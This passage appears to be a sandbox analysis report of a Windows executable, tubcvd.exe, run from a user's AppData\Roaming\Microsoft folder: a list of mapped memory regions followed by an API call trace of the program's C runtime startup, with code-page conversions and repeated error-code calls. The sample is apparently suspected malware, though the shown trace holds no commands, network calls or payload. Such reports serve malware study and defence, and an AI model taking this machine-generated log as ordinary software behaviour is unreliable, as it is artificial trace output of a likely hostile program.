"pagefile_0x00000000026f0000" filename = "" Region: id = 4823 start_va = 0x2700000 end_va = 0x2703fff entry_point = 0x2700000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 4824 start_va = 0x2730000 end_va = 0x2733fff entry_point = 0x2730000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 4825 start_va = 0x27a0000 end_va = 0x27e2fff entry_point = 0x27a0000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000007.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000007.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000007.db") Region: id = 4826 start_va = 0x27f0000 end_va = 0x2800fff entry_point = 0x27f0000 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 4827 start_va = 0x2820000 end_va = 0x2838fff entry_point = 0x2820000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000013.db" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000013.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000013.db") Region: id = 4828 start_va = 0x2840000 end_va = 0x2840fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002840000" filename = "" Region: id = 4829 start_va = 0x2ac0000 end_va = 0x2b4afff entry_point = 0x2ac0000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 4830 start_va = 0x74c50000 end_va = 0x74c85fff entry_point = 0x74c50000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 4831 start_va = 0x2b50000 end_va = 0x2b8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b50000" filename = "" Region: id = 4832 start_va = 0x2b90000 end_va = 0x2c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b90000" filename = "" Region: id = 4833 start_va = 0x2c90000 end_va = 0x2ccffff entry_point = 0x0 region_type = private name = "private_0x0000000002c90000" filename = "" Region: id = 4834 start_va = 0x2cd0000 end_va = 0x2dcffff entry_point = 0x0 region_type = private name = "private_0x0000000002cd0000" filename = "" Region: id = 4835 start_va = 0x73db0000 end_va = 0x73dc6fff entry_point = 0x73db0000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 4836 start_va = 0x7fea1000 end_va = 0x7fea3fff entry_point = 0x0 region_type = private name = "private_0x000000007fea1000" filename = "" Region: id = 4837 start_va = 0x7fea4000 end_va = 0x7fea6fff entry_point = 0x0 region_type = private name = "private_0x000000007fea4000" filename = "" Region: id = 4855 start_va = 0x73340000 end_va = 0x7334bfff entry_point = 0x73340000 region_type = mapped_file name = "pcacli.dll" filename = "\\Windows\\SysWOW64\\pcacli.dll" (normalized: "c:\\windows\\syswow64\\pcacli.dll") Thread: id = 46 os_tid = 0x2e8 [0118.692] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19ff74 | out: lpSystemTimeAsFileTime=0x19ff74*(dwLowDateTime=0x64d5cd56, dwHighDateTime=0x1d39672)) [0118.692] GetCurrentProcessId () returned 0x79c [0118.692] GetCurrentThreadId () returned 0x2e8 [0118.692] GetTickCount () returned 0xb4f8 [0118.692] QueryPerformanceCounter (in: lpPerformanceCount=0x19ff6c | out: lpPerformanceCount=0x19ff6c*=163727978) returned 1 [0118.692] GetStartupInfoW (in: lpStartupInfo=0x19ff18 | out: lpStartupInfo=0x19ff18*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x19ff7c, hStdOutput=0x19ff7c, hStdError=0x407ca7)) [0118.692] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0118.693] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74780000 [0118.693] GetProcAddress (hModule=0x74780000, lpProcName="FlsAlloc") returned 0x7479a330 [0118.693] GetProcAddress (hModule=0x74780000, lpProcName="FlsGetValue") returned 0x74797580 [0118.693] GetProcAddress (hModule=0x74780000, lpProcName="FlsSetValue") returned 0x74799910 [0118.693] GetProcAddress (hModule=0x74780000, lpProcName="FlsFree") returned 0x7479f400 [0118.694] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74780000 [0118.694] GetCurrentThreadId () returned 0x2e8 [0118.694] GetStartupInfoW (in: lpStartupInfo=0x19feb4 | out: lpStartupInfo=0x19feb4*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x404567, hStdOutput=0x4048a0, hStdError=0x8705a8)) [0118.694] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0118.694] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0118.694] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0118.694] SetHandleCount (uNumber=0x20) returned 0x20 [0118.694] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\" " [0118.694] GetEnvironmentStringsW () returned 0x2a4400* [0118.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1359, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1359 [0118.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1359, lpMultiByteStr=0x870fd0, cbMultiByte=1359, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1359 [0118.695] FreeEnvironmentStringsW (penv=0x2a4400) returned 1 [0118.695] GetLastError () returned 0xcb [0118.695] SetLastError (dwErrCode=0xcb) [0118.695] GetLastError () returned 0xcb [0118.695] SetLastError (dwErrCode=0xcb) [0118.695] GetLastError () returned 0xcb [0118.695] SetLastError (dwErrCode=0xcb) [0118.695] GetACP () returned 0x4e4 [0118.695] GetLastError () returned 0xcb [0118.695] SetLastError (dwErrCode=0xcb) [0118.695] IsValidCodePage (CodePage=0x4e4) returned 1 [0118.695] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fe7c | out: lpCPInfo=0x19fe7c) returned 1 [0118.695] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f948 | out: lpCPInfo=0x19f948) returned 1 [0118.695] GetLastError () returned 0xcb [0118.695] SetLastError (dwErrCode=0xcb) [0118.695] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.695] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뭸@Ā") returned 256 [0118.695] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뭸@Ā", cchSrc=256, lpCharType=0x19f95c | out: lpCharType=0x19f95c) returned 1 [0118.695] GetLastError () returned 0xcb [0118.695] SetLastError (dwErrCode=0xcb) [0118.695] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.695] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0118.695] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0118.695] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0118.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x19fc5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\"·Îm\x94þ\x19", lpUsedDefaultChar=0x0) returned 256 [0118.695] GetLastError () returned 0xcb [0118.695] SetLastError (dwErrCode=0xcb) [0118.695] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.695] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0118.695] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0118.695] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0118.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x19fb5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\"·Îm\x94þ\x19", lpUsedDefaultChar=0x0) returned 256 [0118.696] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x415cf8, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe")) returned 0x3a [0118.696] GetLastError () returned 0x0 [0118.696] SetLastError (dwErrCode=0x0) [0118.696] GetLastError () returned 0x0 [0118.696] SetLastError (dwErrCode=0x0) [0118.696] GetLastError () returned 0x0 [0118.696] SetLastError (dwErrCode=0x0) [0118.696] GetLastError () returned 0x0 [0118.696] SetLastError (dwErrCode=0x0) [0118.696] GetLastError () returned 0x0 [0118.696] SetLastError (dwErrCode=0x0) [0118.696] GetLastError () returned 0x0 [0118.696] SetLastError (dwErrCode=0x0) [0118.696] GetLastError () returned 0x0 [0118.696] SetLastError (dwErrCode=0x0) [0118.696] GetLastError () returned 0x0 [0118.696] SetLastError (dwErrCode=0x0) [0118.696] GetLastError () returned 0x0 [0118.696] SetLastError (dwErrCode=0x0) [0118.696] GetLastError () returned 0x0 [0118.696] SetLastError (dwErrCode=0x0) [0118.696] GetLastError () returned 0x0 [0118.696] SetLastError (dwErrCode=0x0) [0118.696] GetLastError () returned 0x0 [0118.696] SetLastError (dwErrCode=0x0) [0118.696] GetLastError () returned 0x0 [0118.696] SetLastError (dwErrCode=0x0) [0118.696] GetLastError () returned 0x0 [0118.696] SetLastError (dwErrCode=0x0) [0118.696] GetLastError () returned 0x0 [0118.696] SetLastError (dwErrCode=0x0) [0118.696] GetLastError () returned 0x0 [0118.696] SetLastError (dwErrCode=0x0) [0118.696] GetLastError () returned 0x0 [0118.696] SetLastError (dwErrCode=0x0) [0118.696] GetLastError () returned 0x0 [0118.696] SetLastError (dwErrCode=0x0) [0118.696] GetLastError () returned 0x0 [0118.697] SetLastError (dwErrCode=0x0) [0118.697] GetLastError () returned 0x0 [0118.697] SetLastError (dwErrCode=0x0) [0118.697] GetLastError () returned 0x0 [0118.697] SetLastError (dwErrCode=0x0) [0118.697] GetLastError () returned 0x0 [0118.697] SetLastError (dwErrCode=0x0) [0118.697] GetLastError () returned 0x0 [0118.697] SetLastError (dwErrCode=0x0) [0118.697] GetLastError () returned 0x0 [0118.697] SetLastError (dwErrCode=0x0) [0118.697] GetLastError () returned 0x0 [0118.697] SetLastError (dwErrCode=0x0) [0118.697] GetLastError () returned 0x0 [0118.697] SetLastError (dwErrCode=0x0) [0118.697] GetLastError () returned 0x0 [0118.697] SetLastError (dwErrCode=0x0) [0118.697] GetLastError () returned 0x0 [0118.697] SetLastError (dwErrCode=0x0) [0118.697] GetLastError () returned 0x0 [0118.697] SetLastError (dwErrCode=0x0) [0118.697] GetLastError () returned 0x0 [0118.697] SetLastError (dwErrCode=0x0) [0118.697] GetLastError () returned 0x0 [0118.697] SetLastError (dwErrCode=0x0) [0118.697] GetLastError () returned 0x0 [0118.697] SetLastError (dwErrCode=0x0) [0118.697] GetLastError () returned 0x0 [0118.697] SetLastError (dwErrCode=0x0) [0118.697] GetLastError () returned 0x0 [0118.697] SetLastError (dwErrCode=0x0) [0118.697] GetLastError () returned 0x0 [0118.697] SetLastError (dwErrCode=0x0) [0118.697] GetLastError () returned 0x0 [0118.697] SetLastError (dwErrCode=0x0) [0118.697] GetLastError () returned 0x0 [0118.697] SetLastError (dwErrCode=0x0) [0118.697] GetLastError () returned 0x0 [0118.697] SetLastError (dwErrCode=0x0) [0118.697] GetLastError () returned 0x0 [0118.697] SetLastError (dwErrCode=0x0) [0118.698] GetLastError () returned 0x0 [0118.698] SetLastError (dwErrCode=0x0) [0118.698] GetLastError () returned 0x0 [0118.698] SetLastError (dwErrCode=0x0) [0118.698] GetLastError () returned 0x0 [0118.698] SetLastError (dwErrCode=0x0) [0118.698] GetLastError () returned 0x0 [0118.698] SetLastError (dwErrCode=0x0) [0118.698] GetLastError () returned 0x0 [0118.698] SetLastError (dwErrCode=0x0) [0118.698] GetLastError () returned 0x0 [0118.698] SetLastError (dwErrCode=0x0) [0118.698] GetLastError () returned 0x0 [0118.698] SetLastError (dwErrCode=0x0) [0118.698] GetLastError () returned 0x0 [0118.698] SetLastError (dwErrCode=0x0) [0118.698] GetLastError () returned 0x0 [0118.698] SetLastError (dwErrCode=0x0) [0118.698] GetLastError () returned 0x0 [0118.698] 